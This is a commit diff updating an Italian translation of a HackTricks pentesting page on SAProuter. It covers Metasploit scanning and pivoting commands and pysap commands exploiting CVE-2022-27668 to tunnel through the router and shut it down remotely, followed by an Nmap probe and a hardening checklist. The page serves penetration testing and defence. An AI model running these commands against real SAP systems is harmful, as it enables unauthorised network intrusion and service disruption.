mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/3299-pentesting-saprouter.m
This commit is contained in:
parent
a54acd39dc
commit
2f886bc79e
@ -1,3 +1,5 @@
|
||||
# # 3299/tcp - Pentesting SAProuter
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
```text
|
||||
PORT STATE SERVICE VERSION
|
||||
@ -7,7 +9,7 @@ Questo è un riepilogo del post da [https://blog.rapid7.com/2014/01/09/piercing-
|
||||
|
||||
## Comprendere la Penetrazione di SAProuter con Metasploit
|
||||
|
||||
SAProuter funge da proxy inverso per i sistemi SAP, principalmente per controllare l'accesso tra internet e le reti SAP interne. È comunemente esposto a internet consentendo il traffico sulla porta TCP 3299 attraverso i firewall organizzativi. Questa configurazione rende SAProuter un obiettivo attraente per il pentesting poiché potrebbe fungere da gateway per reti interne di alto valore.
|
||||
SAProuter funge da proxy inverso per i sistemi SAP, principalmente per controllare l'accesso tra internet e le reti SAP interne. È comunemente esposto a internet consentendo il passaggio della porta TCP 3299 attraverso i firewall organizzativi. Questa configurazione rende SAProuter un obiettivo attraente per il pentesting perché potrebbe fungere da gateway per reti interne di alto valore.
|
||||
|
||||
**Scansione e Raccolta di Informazioni**
|
||||
|
||||
@ -17,13 +19,13 @@ msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||
msf auxiliary(sap_service_discovery) > run
|
||||
```
|
||||
A seguito della scoperta, viene effettuata un'ulteriore indagine sulla configurazione del router SAP utilizzando il modulo **sap_router_info_request** per rivelare potenzialmente i dettagli della rete interna.
|
||||
A seguito della scoperta, viene effettuata un'ulteriore indagine sulla configurazione del router SAP utilizzando il modulo **sap_router_info_request** per rivelare potenzialmente dettagli sulla rete interna.
|
||||
```text
|
||||
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
||||
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
||||
msf auxiliary(sap_router_info_request) > run
|
||||
```
|
||||
**Enumerazione dei Servizi Interni**
|
||||
**Enumerare i Servizi Interni**
|
||||
|
||||
Con le informazioni ottenute dalla rete interna, il modulo **sap_router_portscanner** viene utilizzato per sondare gli host e i servizi interni attraverso il SAProuter, consentendo una comprensione più profonda delle reti interne e delle configurazioni dei servizi.
|
||||
```text
|
||||
@ -39,13 +41,13 @@ Ulteriori scansioni possono rivelare come sono configurate le Liste di Controllo
|
||||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||
```
|
||||
**Enumerazione Cieca degli Host Interni**
|
||||
**Enumerazione cieca degli host interni**
|
||||
|
||||
In scenari in cui le informazioni dirette dal SAProuter sono limitate, possono essere applicate tecniche come l'enumerazione cieca. Questo approccio tenta di indovinare e verificare l'esistenza di nomi host interni, rivelando potenziali obiettivi senza indirizzi IP diretti.
|
||||
|
||||
**Sfruttare le Informazioni per il Pentesting**
|
||||
**Sfruttare le informazioni per il penetration testing**
|
||||
|
||||
Dopo aver mappato la rete e identificato i servizi accessibili, i pentester possono utilizzare le capacità di proxy di Metasploit per pivotare attraverso il SAProuter per ulteriori esplorazioni e sfruttamenti dei servizi SAP interni.
|
||||
Dopo aver mappato la rete e identificato i servizi accessibili, i penetration tester possono utilizzare le capacità di proxy di Metasploit per pivotare attraverso il SAProuter per ulteriori esplorazioni e sfruttamenti dei servizi SAP interni.
|
||||
```text
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||||
@ -53,13 +55,74 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
||||
```
|
||||
**Conclusione**
|
||||
|
||||
Questo approccio sottolinea l'importanza di configurazioni sicure di SAProuter e evidenzia il potenziale per accedere a reti interne attraverso test di penetrazione mirati. Proteggere adeguatamente i router SAP e comprendere il loro ruolo nell'architettura di sicurezza della rete è cruciale per proteggere contro accessi non autorizzati.
|
||||
Questo approccio sottolinea l'importanza di configurazioni sicure di SAProuter e evidenzia il potenziale per accedere a reti interne attraverso test di penetrazione mirati. Proteggere adeguatamente i router SAP e comprendere il loro ruolo nell'architettura della sicurezza di rete è cruciale per proteggere contro accessi non autorizzati.
|
||||
|
||||
Per ulteriori informazioni dettagliate sui moduli Metasploit e il loro utilizzo, visita [Rapid7's database](http://www.rapid7.com/db).
|
||||
|
||||
---
|
||||
|
||||
## Vulnerabilità Recenti (2022-2025)
|
||||
|
||||
### CVE-2022-27668 – Controllo degli Accessi Inadeguato ➜ Esecuzione di Comandi Amministrativi Remoti
|
||||
|
||||
Nel giugno 2022 SAP ha rilasciato la Nota di Sicurezza **3158375** che affronta una vulnerabilità critica (CVSS 9.8) in SAProuter (tutti i kernel ≥ 7.22). Un attaccante non autenticato può abusare delle voci permissive di `saprouttab` per **inviare pacchetti di amministrazione** (ad es. *shutdown*, *trace-level*, *connection-kill*) da un host remoto, anche quando il router è stato avviato senza l'opzione `-X` remote-admin.
|
||||
|
||||
Il problema deriva dalla possibilità di costruire un tunnel all'interfaccia di loopback del router mirato all'indirizzo non specificato **0.0.0.0**. Una volta stabilito il tunnel, l'attaccante ottiene privilegi di host locale e può eseguire qualsiasi comando amministrativo.
|
||||
|
||||
Lo sfruttamento pratico può essere riprodotto con il framework **pysap**:
|
||||
```bash
|
||||
# 1. Build a loopback tunnel through the vulnerable SAProuter
|
||||
python router_portfw.py -d <ROUTER_IP> -p 3299 \
|
||||
-t 0.0.0.0 -r 3299 \
|
||||
-a 127.0.0.1 -l 3299 -v
|
||||
|
||||
# 2. Send an admin packet (here: stop the remote router)
|
||||
python router_admin.py -s -d 127.0.0.1 -p 3299
|
||||
```
|
||||
**Versioni interessate**
|
||||
|
||||
* SAProuter autonomo 7.22 / 7.53
|
||||
* Kernel 7.49, 7.77, 7.81, 7.85–7.88 (incl. KRNL64NUC/UC)
|
||||
|
||||
**Correzione / Mitigazione**
|
||||
|
||||
1. Applicare la patch fornita con SAP Note **3158375**.
|
||||
2. Rimuovere i target wildcard (`*`) dalle righe `P` e `S` in `saprouttab`.
|
||||
3. Assicurarsi che il router venga avviato **senza** l'opzione `-X` e **non** sia esposto direttamente a Internet.
|
||||
|
||||
---
|
||||
|
||||
## Strumenti e trucchi aggiornati
|
||||
|
||||
* **pysap** – attivamente mantenuto e fornisce `router_portfw.py`, `router_admin.py` & `router_trace.py` per creare pacchetti NI/Router personalizzati, fuzzing ACL o automatizzare lo sfruttamento di CVE-2022-27668.
|
||||
* **Nmap** – estendere il rilevamento dei servizi aggiungendo la sonda SAProuter personalizzata:
|
||||
|
||||
```text
|
||||
Probe TCP SAProuter q|\x00\x00\x00\x00|
|
||||
ports 3299
|
||||
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/
|
||||
```
|
||||
|
||||
Combinare con script NSE o `--script=banner` per identificare rapidamente le versioni che rivelano la stringa del banner (`SAProuter <ver> on '<host>'`).
|
||||
* **Metasploit** – i moduli ausiliari mostrati sopra funzionano ancora attraverso un proxy SOCKS o NI creato con pysap, abilitando l'integrazione completa del framework anche quando il router blocca l'accesso diretto.
|
||||
|
||||
---
|
||||
|
||||
## Checklist di indurimento e rilevamento
|
||||
|
||||
* Filtrare la porta **3299/TCP** sul firewall perimetrale – consentire il traffico solo da reti di supporto SAP fidate.
|
||||
* Mantenere SAProuter **completamente aggiornato**; verificare con `saprouter -v` e confrontare con l'ultimo livello di patch del kernel.
|
||||
* Utilizzare voci **specifiche per host** in `saprouttab`; evitare wildcard `*` e negare le regole `P`/`S` che mirano a host o porte arbitrarie.
|
||||
* Avviare il servizio con **`-S <secudir>` + SNC** per imporre la crittografia e l'autenticazione reciproca.
|
||||
* Disabilitare l'amministrazione remota (`-X`) e, se possibile, legare il listener a `127.0.0.1` utilizzando un proxy inverso esterno per il traffico necessario.
|
||||
* Monitorare il log **dev_rout** per pacchetti `ROUTER_ADM` sospetti o richieste `NI_ROUTE` inaspettate a `0.0.0.0`.
|
||||
|
||||
---
|
||||
|
||||
## **Riferimenti**
|
||||
|
||||
- [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
- [https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/](https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/)
|
||||
|
||||
## Shodan
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user